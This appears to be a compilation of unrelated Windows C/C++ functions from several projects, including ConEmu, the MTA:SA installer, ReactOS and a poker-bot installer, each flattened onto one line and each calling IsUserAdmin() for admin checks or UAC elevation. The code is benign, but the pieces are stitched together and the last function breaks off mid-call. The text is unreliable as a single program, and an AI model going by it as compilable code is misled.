int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpszCmdLine, int nCmdShow) { LPWSTR *pszArglist, szCommandLine; int nArgs, nApp; STARTUPINFOW si; PROCESS_INFORMATION pi; WCHAR szBuf[1024]; DWORD dwLen = sizeof(szBuf); nApp = (IsUserAdmin() != 0); RegGetValueW(HKEY_LOCAL_MACHINE, lpszKey[nApp][0], lpszKey[nApp][1], RRF_RT_REG_SZ, 0, szBuf, &dwLen); pszArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs); if(nArgs > 3) nArgs = 3; pszArglist[0] = szBuf; FormatMessageW( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_ARGUMENT_ARRAY | FORMAT_MESSAGE_FROM_STRING, lpszAppSpec[nArgs-1][nApp], 0, 0, (LPWSTR)&szCommandLine, 1024, (void*)pszArglist ); OutputDebugStringW(szCommandLine); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); CreateProcessW(NULL, szCommandLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); LocalFree(szCommandLine); LocalFree(pszArglist); return IsUserAdmin(); }
void collectData(string& content) { content.append(Html::h2("Operating System")); content.append(Html::table_open()); content.append(Html::tr(Html::td2("Operating system information"))); content.append(Html::tr(Html::td("Machine name") + Html::td(computerName()))); content.append(Html::tr(Html::td("Full name") + Html::td(osName()))); content.append(Html::tr(Html::td("Root directory") + Html::td(osRootDir()))); content.append(Html::tr(Html::td("Language") + Html::td(OsLanguage()))); content.append(Html::tr(Html::td("Locale") + Html::td(getLocale()))); content.append(Html::tr(Html::td("Is OS Virtualized?") + Html::td(""))); content.append(Html::tr(Html::td("Is 3GB switch enabled?") + Html::td(""))); content.append(Html::tr(Html::td("Data Execution Prevention") + Html::td(DepInfo()))); content.append(Html::tr(Html::td("User Account Control") + Html::td(UAC()))); content.append(Html::tr(Html::td("Is user Admin?") + Html::td(Html::boolToYesNo(IsUserAdmin())))); content.append(Html::tr(Html::td("Is user connected remotely?") + Html::td(""))); content.append(Html::tr(Html::td("Is Windows firewall enabled?") + Html::td(WindowsFirewall()))); content.append(Html::tr(Html::td("Is secondary logon enabled?") + Html::td(""))); content.append(Html::tr(Html::td2("Environment information"))); content.append(Html::tr(Html::td("System environment variables") + Html::td(get_os_env_vars()))); content.append(Html::tr(Html::td("User environment variables") + Html::td(UserEnvVars()))); content.append(Html::tr(Html::td("Kerberos configuration") + Html::td(""))); content.append(Html::tr(Html::td("Layered Service Providers") + Html::td(""))); content.append(Html::tr(Html::td("AppInit_DLLs registry value") + Html::td(get_AppInit_DLLs()))); content.append(Html::tr(Html::td("LoadAppInit_DLLs registry value") + Html::td(get_LoadAppInit_DLLs()))); content.append(Html::table_close); }
bool CConEmuUpdate::CanUpdateInstallation() { if (UpdateDownloadSetup() == 1) { // Если через Setupper - то msi сам разберется и ругнется когда надо return true; } // Раз дошли сюда - значит ConEmu был просто "распакован" if (IsUserAdmin()) { // ConEmu запущен "Под администратором", проверки не нужны return true; } wchar_t szTestFile[MAX_PATH*2]; wcscpy_c(szTestFile, gpConEmu->ms_ConEmuExeDir); wcscat_c(szTestFile, L"\\ConEmuUpdate.check"); HANDLE hFile = CreateFile(szTestFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_TEMPORARY, NULL); if (hFile == INVALID_HANDLE_VALUE) { DWORD nErr = GetLastError(); wcscpy_c(szTestFile, L"Can't update installation folder!\r\n"); wcscat_c(szTestFile, gpConEmu->ms_ConEmuExeDir); DisplayLastError(szTestFile, nErr); return false; } CloseHandle(hFile); DeleteFile(szTestFile); // OK return true; }
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { hInst = hInstance; InitCommonControls(); isAdmin = IsUserAdmin(); DialogBox(hInstance, MAKEINTRESOURCE(IDD_DIALOG_MAIN), NULL, DialogProc); return 0; }
int main(int argc, char *argv[]) { AddVectoredExceptionHandler(1,clsCrashHandler::ErrorReporter); if (!IsUserAdmin()) { MessageBoxW(NULL,L"You didn´t start the debugger with admin rights!\r\nThis could cause problems with some features!",L"Nanomite",MB_OK); } clsMemManager clsMManage = clsMemManager(); //Tests - 500bytes, 100000 rounds //Test using malloc and free: 8750 //Test using clsMemManager: 31 // //Test - 1014bytes, 100000 rounds //Test using malloc and free: 9187 //Test using clsMemManager: 31 //DWORD dwStartTick = GetTickCount(); //DWORD pMem[100000]; //for(int i = 0; i < 100000; i++) //{ // pMem[i] = (DWORD)malloc(512); //} //for(int i = 0; i < 100000; i++) //{ // free((void*)pMem[i]); //} //qDebug() << "Test using malloc and free: " << GetTickCount() - dwStartTick; // //dwStartTick = GetTickCount(); //for(int i = 0; i < 100000; i++) //{ // pMem[i] = (DWORD)clsMemManager::CAlloc(512); //} // //for(int i = 0; i < 100000; i++) //{ // clsMemManager::CFree((void*)pMem[i]); //} //qDebug() << "Test using clsMemManager: " << GetTickCount() - dwStartTick; QApplication a(argc, argv); qtDLGNanomite w; w.show(); #ifdef _DEBUG return a.exec(); #else // ugly workaround for cruntime crash caused by new override! TerminateProcess(GetCurrentProcess(),a.exec()); #endif }
////////////////////////////////////////////////////////// // // CInstallManager::_ChangeFromAdmin // // Save the state of the sequencer and exit back to the user process // ////////////////////////////////////////////////////////// SString CInstallManager::_ChangeFromAdmin ( void ) { if ( IsUserAdmin () && IsBlockingUserProcess () ) { SendStringToUserProcess ( GetSequencerSnapshot () ); AddReportLog ( 1003, SString ( "CInstallManager::_ChangeToAdmin - exit(0) %s", "" ) ); ClearIsBlockingUserProcess (); ExitProcess ( 0 ); } return "fail"; }
////////////////////////////////////////////////////////// // // CInstallManager::_ProcessServiceChecks // // // ////////////////////////////////////////////////////////// SString CInstallManager::_ProcessServiceChecks ( void ) { if ( !CheckService ( CHECK_SERVICE_PRE_GAME ) ) { if ( !IsUserAdmin() ) { m_strAdminReason = _("Update install settings"); return "fail"; } } return "ok"; }
bool DoStateCheck(ConEmuStateCheck eStateCheck) { LogFunction(L"DoStateCheck"); bool bOn = false; switch (eStateCheck) { case ec_IsConEmu: case ec_IsAnsi: if (ghConWnd) { CESERVER_CONSOLE_MAPPING_HDR* pInfo = (CESERVER_CONSOLE_MAPPING_HDR*)malloc(sizeof(*pInfo)); if (pInfo && LoadSrvMapping(ghConWnd, *pInfo)) { _ASSERTE(pInfo->ComSpec.ConEmuExeDir[0] && pInfo->ComSpec.ConEmuBaseDir[0]); HWND hWnd = pInfo->hConEmuWndDc; if (hWnd && IsWindow(hWnd)) { switch (eStateCheck) { case ec_IsConEmu: bOn = true; break; case ec_IsAnsi: bOn = ((pInfo->Flags & CECF_ProcessAnsi) != 0); break; default: ; } } } SafeFree(pInfo); } break; case ec_IsAdmin: bOn = IsUserAdmin(); break; case ec_IsRedirect: bOn = IsOutputRedirected(); break; case ec_IsTerm: bOn = isTerminalMode(); break; default: _ASSERTE(FALSE && "Unsupported StateCheck code"); } return bOn; }
static LONG APIENTRY Applet(HWND hwnd, UINT uMsg, LPARAM wParam, LPARAM lParam) { TCHAR Caption[BUFFERSIZE]; PROPSHEETPAGE psp[3]; PROPSHEETHEADER psh; PGLOBALDATA pGlobalData; LONG ret; if (OpenSetupInf()) { ParseSetupInf(); } pGlobalData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(GLOBALDATA)); if (pGlobalData == NULL) return FALSE; pGlobalData->SystemLCID = GetSystemDefaultLCID(); pGlobalData->bIsUserAdmin = IsUserAdmin(); LoadString(hApplet, IDS_CPLNAME, Caption, sizeof(Caption) / sizeof(TCHAR)); ZeroMemory(&psh, sizeof(PROPSHEETHEADER)); psh.dwSize = sizeof(PROPSHEETHEADER); psh.dwFlags = PSH_PROPSHEETPAGE; psh.hwndParent = hCPLWindow; psh.hInstance = hApplet; psh.hIcon = LoadIcon(hApplet, MAKEINTRESOURCE(IDC_CPLICON)); psh.pszCaption = Caption; psh.nPages = 0; //sizeof(psp) / sizeof(PROPSHEETPAGE); psh.nStartPage = 0; psh.ppsp = psp; InitIntlPropSheetPage(&psp[0], IDD_GENERALPAGE, GeneralPageProc, (LPARAM)pGlobalData); psh.nPages++; InitIntlPropSheetPage(&psp[1], IDD_LANGUAGESPAGE, LanguagesPageProc, (LPARAM)pGlobalData); psh.nPages++; if (pGlobalData->bIsUserAdmin) { InitIntlPropSheetPage(&psp[2], IDD_ADVANCEDPAGE, AdvancedPageProc, (LPARAM)pGlobalData); psh.nPages++; } ret = (LONG)(PropertySheet(&psh) != -1); HeapFree(GetProcessHeap(), 0, pGlobalData); return ret; }
BOOL CDeleteMasterApp::InitInstance() { // LOGFONT lf; HANDLE hMapping; BOOL bPrevInstance = FALSE; CString csError,csCaption; csCaption.LoadString (IDS_DM_ERROR); hMapping = CreateFileMapping((HANDLE)0xffffffff, NULL, PAGE_READONLY, 0, 32, _T("YGDM2003MAP")); if(hMapping) { if( GetLastError() == ERROR_ALREADY_EXISTS ) bPrevInstance = TRUE; } else { // Some other error; handle error. csError.LoadString(IDS_APP_INIT_ERR); ::MessageBox(NULL,csError,csCaption,MB_OK|MB_ICONSTOP); ExitProcess(1); } if(!bPrevInstance) { if(!IsUserAdmin()) { csError.LoadString(IDS_NOT_ADMIN); ::MessageBox(NULL,csError,csCaption,MB_OK|MB_ICONSTOP); return FALSE; } if(!RegClass()) return FALSE; g_imgList_BOX.Create(IDB_BOX,16,0,RGB(255,255,255)); g_imgList_LIST.Create(IDB_LIST,16,0,RGB(255,255,255)); g_pFixDiskInfo = NULL; g_nDelMothed = 0; g_nWipeMothed = 0; g_bVerify = FALSE; g_bFormat = FALSE; g_dwMaxTry = 10; m_pMainWnd = new CMain(); m_pMainWnd->ShowWindow(SW_SHOW); } return TRUE; }
////////////////////////////////////////////////////////// // // CInstallManager::_ChangeToAdmin // // // Save the state of the sequencer and launch process as admin // ////////////////////////////////////////////////////////// SString CInstallManager::_ChangeToAdmin ( void ) { if ( !IsUserAdmin () ) { MessageBoxUTF8( NULL, SString ( _("MTA:SA needs Administrator access for the following task:\n\n '%s'\n\nPlease confirm in the next window."), *m_strAdminReason ), "Multi Theft Auto: San Andreas", MB_OK | MB_TOPMOST ); SetIsBlockingUserProcess (); ReleaseSingleInstanceMutex (); if ( ShellExecuteBlocking ( "runas", GetLauncherPathFilename (), GetSequencerSnapshot () ) ) { // Will return here once admin process has finished CreateSingleInstanceMutex (); UpdateSettingsForReportLog (); RestoreSequencerFromSnapshot ( ReceiveStringFromAdminProcess () ); ClearIsBlockingUserProcess (); return "ok"; // This will appear as the result for _ChangeFromAdmin } CreateSingleInstanceMutex (); ClearIsBlockingUserProcess (); MessageBoxUTF8( NULL, SString ( _("MTA:SA could not complete the following task:\n\n '%s'\n"), *m_strAdminReason ), "Multi Theft Auto: San Andreas"+_E("CL01"), MB_OK | MB_TOPMOST ); } return "fail"; }
////////////////////////////////////////////////////////// // // CInstallManager::_InstallFiles // // // ////////////////////////////////////////////////////////// SString CInstallManager::_InstallFiles ( void ) { WatchDogReset (); // Install new files if ( !InstallFiles ( m_pSequencer->GetVariable ( SILENT_OPT ) != "no" ) ) { if ( !IsUserAdmin () ) AddReportLog ( 3048, SString ( "_InstallFiles: Install - trying as admin %s", "" ) ); else AddReportLog ( 5049, SString ( "_InstallFiles: Couldn't install files %s", "" ) ); m_strAdminReason = _("Install updated MTA:SA files"); return "fail"; } else { UpdateMTAVersionApplicationSetting (); AddReportLog ( 2050, SString ( "_InstallFiles: ok %s", "" ) ); return "ok"; } }
BOOL CAntiTypeApp::InitInstance() { AfxEnableControlContainer(); // Standard initialization // If you are not using these features and wish to reduce the size // of your final executable, you should remove from the following // the specific initialization routines you do not need. //#ifdef _AFXDLL // Enable3dControls(); // Call this when using MFC in a shared DLL //#else // Enable3dControlsStatic(); // Call this when linking to MFC statically //#endif if (!IsUserAdmin()) { AfxMessageBox(IDS_NEED_ADMIN); return FALSE; } CAntiTypeDlg dlg; m_pMainWnd = &dlg; int nResponse = dlg.DoModal(); if (nResponse == IDOK) { // TODO: Place code here to handle when the dialog is // dismissed with OK } else if (nResponse == IDCANCEL) { // TODO: Place code here to handle when the dialog is // dismissed with Cancel } // Since the dialog has been closed, return FALSE so that we exit the // application, rather than start the application's message pump. return FALSE; }
Wizard::Wizard(QWidget * parent) : QWizard(parent, Qt::Dialog | Qt::WindowSystemMenuHint) { //Транслятор QTranslator * appTranslator = new QTranslator(this); appTranslator->load(QString(":/translations/HoldemInstall_%1") .arg(QLocale::system().name())); qApp->installTranslator(appTranslator); QTranslator * qtTranslator = new QTranslator(this); qtTranslator->load(QString(":/translations/qt_%1") .arg(QLocale::system().name())); qApp->installTranslator(qtTranslator); BOOL IsAdmin = FALSE; BOOL success = IsUserAdmin(&IsAdmin); if (success && !IsAdmin) { //не админские права QMessageBox::warning(this, tr("Maverick Setup"), tr("You must have administrative privileges to install the program.\n" "Please run the installer with administrative privileges.")); exit(0); } qsrand(QDateTime::currentDateTime().toTime_t()); createIntroStep(); createLicenseStep(); createFolderStep(); //createRoomStep(); createProgressStep(); createFinishStep(); setWindowTitle(tr("Setup - Maverick Poker Bot")); setFixedWidth(550); setPixmap(QWizard::WatermarkPixmap, QPixmap(":/images/water.png")); setOption(QWizard::NoBackButtonOnLastPage, true); //setWizardStyle(QWizard::ClassicStyle); }
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) #endif { hInst = hInstance; isWin64 = IsWindows64(); GetVersionEx(&gOSVer); int nInstallVer = 0; wsprintf(gsTitle, msgConEmuInstaller, CONEMUVERL); lstrcpyn(gsRunAsAdm, msgRunSetupAsAdmin, countof(gsRunAsAdm)); wchar_t szArg[MAX_PATH+1]; LPCWSTR pszCmdToken = GetCommandLine(); LPCWSTR pszCmdLineW = pszCmdToken; CTempDir temp_dir; // gsTempFolder[0] = 0; while (0 == NextArg(&pszCmdToken, szArg)) { if (lstrcmp(szArg, L"/?") == 0 || lstrcmp(szArg, L"-?") == 0 || lstrcmp(szArg, L"-h") == 0 || lstrcmp(szArg, L"-help") == 0 || lstrcmp(szArg, L"--help") == 0) { MessageBox(NULL, msgUsageExample, gsTitle, MB_ICONINFORMATION); return exit_Cancelled; } if (*szArg == L'/') { if (szArg[1] == L'e' || szArg[1] == L'E') { gbExtractOnly = true; if (szArg[2] == L':' && szArg[3]) { lstrcpyn(gsTempFolder, (szArg[3]==L'"') ? (szArg+4) : (szArg+3), countof(gsTempFolder)); } continue; } if (memcmp(szArg, L"/p:x", 4*sizeof(*szArg)) == 0) { gbAlreadyAdmin = IsUserAdmin(); if (lstrcmpi(szArg+4, L"86") == 0) { nInstallVer = Ver86; } else if (lstrcmpi(szArg+4, L"86,adm") == 0) { nInstallVer = Ver86; gbUseElevation = !gbAlreadyAdmin; } else if (lstrcmpi(szArg+4, L"64") == 0) { nInstallVer = Ver64; } else if (lstrcmpi(szArg+4, L"64,adm") == 0) { nInstallVer = Ver64; gbUseElevation = !gbAlreadyAdmin; } } else pszCmdToken = pszCmdLineW; break; } else if (*szArg == L'-') { pszCmdToken = pszCmdLineW; break; } pszCmdLineW = pszCmdToken; } if (!temp_dir.Acquire()) { return exit_CreateDirectory; } if (!gbExtractOnly) { // If pszCmdToken is not empty - set global var gbAutoMode = (pszCmdToken && *pszCmdToken); wchar_t szInstallPath[MAX_PATH+32]; bool bInstalled; HKEY hk; lstrcpyn(gsMessage, msgChooseInstallVer, countof(gsMessage)); szInstallPath[0] = 0; bInstalled = false; struct {HKEY hk; LPCWSTR path; LPCWSTR name; bool our;} Keys[] = { {HKEY_LOCAL_MACHINE,L"SOFTWARE\\ConEmu",L"InstallDir",true}, //Current installer does not use FarManager installation dir anymore //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far Manager",L"InstallDir"}, //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far2",L"InstallDir"}, //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far",L"InstallDir"}, }; for (size_t s = 0; s < countof(Keys); s++) { if (!RegOpenKeyEx(Keys[s].hk, Keys[s].path, 0, KEY_READ, &hk) || !RegOpenKeyEx(Keys[s].hk, Keys[s].path, 0, KEY_READ|KEY_WOW64_32KEY, &hk)) { wchar_t szPath[MAX_PATH+1] = {}; DWORD cbSize = sizeof(szPath)-2; LONG lRc = RegQueryValueEx(hk, Keys[s].name, NULL, NULL, (LPBYTE)szPath, &cbSize); RegCloseKey(hk); if (!lRc && *szPath) { bInstalled = Keys[s].our; lstrcpy(szInstallPath, szPath); cbSize = lstrlen(szInstallPath); if (szInstallPath[cbSize-1] == L'\\') szInstallPath[cbSize-1] = 0; break; } } } if (szInstallPath[0] == 0) { GetEnvironmentVariable(L"ProgramFiles", szInstallPath, MAX_PATH); int nLen = lstrlen(szInstallPath); lstrcat(szInstallPath, (nLen > 0 && szInstallPath[nLen-1] != L'\\') ? L"\\ConEmu" : L"ConEmu"); } wsprintf(gsVer86, msgInstallFolderIs, CONEMUVERL, L"x86", bInstalled ? msgPathCurrent : msgPathDefault, szInstallPath); if (isWin64) { szInstallPath[0] = 0; bInstalled = false; struct {HKEY hk; LPCWSTR path; LPCWSTR name; bool our;} Keys[] = { {HKEY_LOCAL_MACHINE,L"SOFTWARE\\ConEmu",L"InstallDir_x64",true}, //Current installer does not use FarManager installation dir anymore //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far Manager",L"InstallDir_x64"}, //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far2",L"InstallDir_x64"}, //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far",L"InstallDir_x64"}, }; for (size_t s = 0; s < countof(Keys); s++) { if (!RegOpenKeyEx(Keys[s].hk, Keys[s].path, 0, KEY_READ|KEY_WOW64_64KEY, &hk)) { wchar_t szPath[MAX_PATH+1] = {}; DWORD cbSize = sizeof(szPath)-2; LONG lRc = RegQueryValueEx(hk, Keys[s].name, NULL, NULL, (LPBYTE)szPath, &cbSize); RegCloseKey(hk); if (!lRc && *szPath) { bInstalled = Keys[s].our; lstrcpy(szInstallPath, szPath); cbSize = lstrlen(szInstallPath); if (szInstallPath[cbSize-1] == L'\\') szInstallPath[cbSize-1] = 0; break; } } } if (szInstallPath[0] == 0) { GetEnvironmentVariable(L"ProgramW6432", szInstallPath, MAX_PATH); int nLen = lstrlen(szInstallPath); lstrcat(szInstallPath, (nLen > 0 && szInstallPath[nLen-1] != L'\\') ? L"\\ConEmu" : L"ConEmu"); } wsprintf(gsVer64, msgInstallFolderIs, CONEMUVERL, L"x64", bInstalled ? msgPathCurrent : msgPathDefault, szInstallPath); wsprintf(gsFull, msgInstallConfirm, gsMessage); } else { gsVer64[0] = 0; } } else { LPCWSTR szPath = gsTempFolder; lstrcpyn(gsMessage, msgChooseExtractVer, countof(gsMessage)); wsprintf(gsVer86, msgExtractX86X64, CONEMUVERL, L"x86", szPath); wsprintf(gsVer64, msgExtractX86X64, CONEMUVERL, L"x64", szPath); wsprintf(gsFull, msgExtractConfirm, gsMessage, szPath); } if (nInstallVer == 0) { nInstallVer = ChooseVersion(); // IDCANCEL/Ver86/Ver64 } if (nInstallVer != Ver86 && nInstallVer != Ver64) { return exit_Cancelled; } // Preparing full paths wsprintf(gsMsiFile, L"%s\\ConEmu.%s.%s.msi", gsTempFolder, CONEMUVERL, (nInstallVer == Ver86) ? L"x86" : L"x64"); wsprintf(gsCabFile, L"%s\\ConEmu.cab", gsTempFolder); bool lbNeedExe = false; if (!gbExtractOnly && gOSVer.dwMajorVersion >= 6) lbNeedExe = true; if (!lbNeedExe) gsExeFile[0] = 0; else wsprintf(gsExeFile, L"%s\\ConEmuSetup.exe", gsTempFolder); int iExpMsi = ExportFile(nInstallVer, gsMsiFile); int iExpCab = (iExpMsi == 0) ? ExportFile(CABFILE, gsCabFile) : -1; int iExpExe = (!lbNeedExe) ? 0 : (iExpCab == 0) ? ExportFile(EXEFILE, gsExeFile) : -1; if (iExpMsi != 0 || iExpCab != 0 || iExpExe != 0) { DeleteFile(gsMsiFile); DeleteFile(gsCabFile); if (*gsExeFile) DeleteFile(gsExeFile); return (iExpMsi != 0) ? iExpMsi : iExpCab; } if (gbExtractOnly) { temp_dir.DontRemove(); wchar_t szMessage[MAX_PATH*2]; wsprintf(szMessage, msgExtractedSuccessfully, gsTempFolder); MessageBox(NULL, szMessage, gsTitle, MB_ICONINFORMATION); return exit_Succeeded; } int iInstRc = exit_Succeeded; SHELLEXECUTEINFO sei = {sizeof(sei)}; wchar_t* pszParms = NULL; sei.fMask = SEE_MASK_NOCLOSEPROCESS|/*SEE_MASK_NOASYNC*/0x00000100; //|/*SEE_MASK_NOZONECHECKS*/0x00800000; sei.lpVerb = L"open"; if (gOSVer.dwMajorVersion<=5 || !gbUseElevation) { sei.lpFile = gsMsiFile; sei.lpParameters = pszCmdToken; } else { // Executor has `<requestedExecutionLevel level="requireAdministrator" ...>` in manifest sei.lpFile = gsExeFile; int nMaxLen = lstrlen(gsMsiFile) + (pszCmdToken ? lstrlen(pszCmdToken) : 0) + 64; pszParms = (wchar_t*)malloc(nMaxLen*sizeof(wchar_t)); wsprintf(pszParms, L"/i \"%s\" %s", gsMsiFile, pszCmdToken ? pszCmdToken : L""); sei.lpParameters = pszParms; } sei.lpDirectory = gsTempFolder; sei.nShow = SW_SHOWNORMAL; BOOL lbExecute = ShellExecuteEx(&sei); #if 0 if (!lbExecute && lbNeedExe) { DWORD nErr = GetLastError(); if (nErr == 1223) { // Отмена пользователем UAC, или правов не хватило? sei.fMask = SEE_MASK_NOCLOSEPROCESS|/*SEE_MASK_NOASYNC*/0x00000100; //|/*SEE_MASK_NOZONECHECKS*/0x00800000; sei.lpVerb = L"open"; sei.lpFile = gsMsiFile; sei.lpParameters = pszCmdToken; sei.lpDirectory = gsTempFolder; sei.nShow = SW_SHOWNORMAL; lbExecute = ShellExecuteEx(&sei); } } #endif if (!lbExecute) { iInstRc = ReportError(exit_ShellExecuteEx, msgInstallerFailed, gsMsiFile); } else { if (!sei.hProcess) { iInstRc = ReportError(exit_NullProcess, msgInstallerFailed, gsMsiFile); } else { WaitForSingleObject(sei.hProcess, INFINITE); DWORD nCode = 0; SetLastError(0); wchar_t szFormat[256]; if (GetExitCodeProcess(sei.hProcess, &nCode)) { switch (nCode) { case 0: iInstRc = exit_Succeeded; break; case 1602: // cancelled by user iInstRc = exit_Cancelled; // don't show any errors break; case 3010: // reboot is required wsprintf(szFormat, msgRebootRequired, nCode); iInstRc = ReportError(exit_AddWin32Code+nCode, szFormat, gsMsiFile); break; default: wsprintf(szFormat, msgInstallerFailedEx, nCode); iInstRc = ReportError(exit_AddWin32Code+nCode, szFormat, gsMsiFile); } } else { lstrcpyn(szFormat, msgExitCodeFailed, countof(szFormat)); iInstRc = ReportError(exit_ExitCodeProcess, szFormat, gsMsiFile); } } } DeleteFile(gsMsiFile); DeleteFile(gsCabFile); if (*gsExeFile) DeleteFile(gsExeFile); return iInstRc; }
int ChooseVersion() { int nInstallVer = 0; // IDCANCEL/Ver86/Ver64 #ifndef TEST_BUILD if (!isWin64 && (gOSVer.dwMajorVersion <= 5)) nInstallVer = Ver86; #endif if (!nInstallVer && gOSVer.dwMajorVersion >= 6) { HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); if (SUCCEEDED(hr)) { int nButtonPressed = 0; TASKDIALOGCONFIG config = {0}; const TASKDIALOG_BUTTON buttons[] = { { Ver64, gsVer64 }, { Ver86, gsVer86 }, }; config.cbSize = sizeof(config); config.hInstance = hInst; config.dwFlags = TDF_USE_COMMAND_LINKS|TDF_ALLOW_DIALOG_CANCELLATION |TDF_CAN_BE_MINIMIZED|TDF_ENABLE_HYPERLINKS; //|TDIF_SIZE_TO_CONTENT; config.pszMainIcon = MAKEINTRESOURCE(IDI_ICON1); config.pszWindowTitle = gsTitle; config.pszMainInstruction = gsMessage; //config.pszContent = L"Choose between x86 and x64 versions"; config.pButtons = isWin64 ? buttons : buttons+1; config.cButtons = isWin64 ? countof(buttons) : countof(buttons)-1; config.nDefaultButton = isWin64 ? Ver64 : Ver86; config.pszFooter = gsWWW; config.pfCallback = Callback; gbAlreadyAdmin = IsUserAdmin(); if (!gbAlreadyAdmin) { config.dwFlags |= TDF_VERIFICATION_FLAG_CHECKED; config.pszVerificationText = gsRunAsAdm; } HMODULE hDll = LoadLibrary(L"comctl32.dll"); typedef HRESULT (WINAPI* TaskDialogIndirect_t)(const TASKDIALOGCONFIG *pTaskConfig, int *pnButton, int *pnRadioButton, BOOL *pfVerificationFlagChecked); TaskDialogIndirect_t TaskDialogIndirect_f = (TaskDialogIndirect_t)(hDll?GetProcAddress(hDll, "TaskDialogIndirect"):NULL); BOOL lbCheckBox = TRUE; if (TaskDialogIndirect_f && TaskDialogIndirect_f(&config, &nButtonPressed, NULL, &lbCheckBox) == S_OK) { switch (nButtonPressed) { case IDCANCEL: // user cancelled the dialog case Ver86: case Ver64: if (lbCheckBox) gbUseElevation = true; nInstallVer = nButtonPressed; break; default: break; // should never happen } } CoUninitialize(); } } if (!nInstallVer) { // "Old" UI Controls dialog int nButtonPressed = MessageBox(NULL, gsFull, gsTitle, MB_ICONQUESTION|MB_YESNOCANCEL); switch (nButtonPressed) { case IDYES: nInstallVer = Ver64; break; case IDNO: nInstallVer = Ver86; break; default: nInstallVer = IDCANCEL; break; } } return nInstallVer; }
/* * @implemented */ BOOL WINAPI DevInstallW( IN HWND hWndParent, IN HINSTANCE hInstance, IN LPCWSTR InstanceId, IN INT Show) { PDEVINSTDATA DevInstData = NULL; BOOL ret; DWORD config_flags; BOOL retval = FALSE; TRACE("(%p, %p, %s, %d)\n", hWndParent, hInstance, debugstr_w(InstanceId), Show); if (!IsUserAdmin()) { /* XP kills the process... */ ExitProcess(ERROR_ACCESS_DENIED); } DevInstData = HeapAlloc(GetProcessHeap(), 0, sizeof(DEVINSTDATA)); if (!DevInstData) { TRACE("HeapAlloc() failed\n"); SetLastError(ERROR_NOT_ENOUGH_MEMORY); goto cleanup; } /* Clear devinst data */ ZeroMemory(DevInstData, sizeof(DEVINSTDATA)); DevInstData->devInfoData.cbSize = 0; /* Tell if the devInfoData is valid */ /* Fill devinst data */ DevInstData->hDevInfo = SetupDiCreateDeviceInfoListExW(NULL, NULL, NULL, NULL); if (DevInstData->hDevInfo == INVALID_HANDLE_VALUE) { TRACE("SetupDiCreateDeviceInfoListExW() failed with error 0x%x\n", GetLastError()); goto cleanup; } DevInstData->devInfoData.cbSize = sizeof(SP_DEVINFO_DATA); ret = SetupDiOpenDeviceInfoW( DevInstData->hDevInfo, InstanceId, NULL, 0, /* Open flags */ &DevInstData->devInfoData); if (!ret) { TRACE("SetupDiOpenDeviceInfoW() failed with error 0x%x (InstanceId %s)\n", GetLastError(), debugstr_w(InstanceId)); DevInstData->devInfoData.cbSize = 0; goto cleanup; } SetLastError(ERROR_GEN_FAILURE); ret = SetupDiGetDeviceRegistryProperty( DevInstData->hDevInfo, &DevInstData->devInfoData, SPDRP_DEVICEDESC, &DevInstData->regDataType, NULL, 0, &DevInstData->requiredSize); if (!ret && GetLastError() == ERROR_INSUFFICIENT_BUFFER && DevInstData->regDataType == REG_SZ) { DevInstData->buffer = HeapAlloc(GetProcessHeap(), 0, DevInstData->requiredSize); if (!DevInstData->buffer) { TRACE("HeapAlloc() failed\n"); SetLastError(ERROR_NOT_ENOUGH_MEMORY); } else { ret = SetupDiGetDeviceRegistryPropertyW( DevInstData->hDevInfo, &DevInstData->devInfoData, SPDRP_DEVICEDESC, &DevInstData->regDataType, DevInstData->buffer, DevInstData->requiredSize, &DevInstData->requiredSize); } } if (!ret) { TRACE("SetupDiGetDeviceRegistryProperty() failed with error 0x%x (InstanceId %s)\n", GetLastError(), debugstr_w(InstanceId)); goto cleanup; } if (SetupDiGetDeviceRegistryPropertyW( DevInstData->hDevInfo, &DevInstData->devInfoData, SPDRP_CONFIGFLAGS, NULL, (BYTE *)&config_flags, sizeof(config_flags), NULL)) { if (config_flags & CONFIGFLAG_FAILEDINSTALL) { /* The device is disabled */ TRACE("Device is disabled\n"); retval = TRUE; goto cleanup; } } TRACE("Installing %s (%s)\n", debugstr_w((PCWSTR)DevInstData->buffer), debugstr_w(InstanceId)); /* Search driver in default location and removable devices */ if (!PrepareFoldersToScan(DevInstData, FALSE, FALSE, NULL)) { TRACE("PrepareFoldersToScan() failed with error 0x%lx\n", GetLastError()); goto cleanup; } if (ScanFoldersForDriver(DevInstData)) { /* Driver found ; install it */ retval = InstallCurrentDriver(DevInstData); TRACE("InstallCurrentDriver() returned %d\n", retval); if (retval && Show != SW_HIDE) { /* Should we display the 'Need to reboot' page? */ SP_DEVINSTALL_PARAMS installParams; installParams.cbSize = sizeof(SP_DEVINSTALL_PARAMS); if (SetupDiGetDeviceInstallParams( DevInstData->hDevInfo, &DevInstData->devInfoData, &installParams)) { if (installParams.Flags & (DI_NEEDRESTART | DI_NEEDREBOOT)) { TRACE("Displaying 'Reboot' wizard page\n"); retval = DisplayWizard(DevInstData, hWndParent, IDD_NEEDREBOOT); } } } goto cleanup; } else if (Show == SW_HIDE) { /* We can't show the wizard. Fail the install */ TRACE("No wizard\n"); goto cleanup; } /* Prepare the wizard, and display it */ TRACE("Need to show install wizard\n"); retval = DisplayWizard(DevInstData, hWndParent, IDD_WELCOMEPAGE); cleanup: if (DevInstData) { if (DevInstData->devInfoData.cbSize != 0) { if (!SetupDiDestroyDriverInfoList(DevInstData->hDevInfo, &DevInstData->devInfoData, 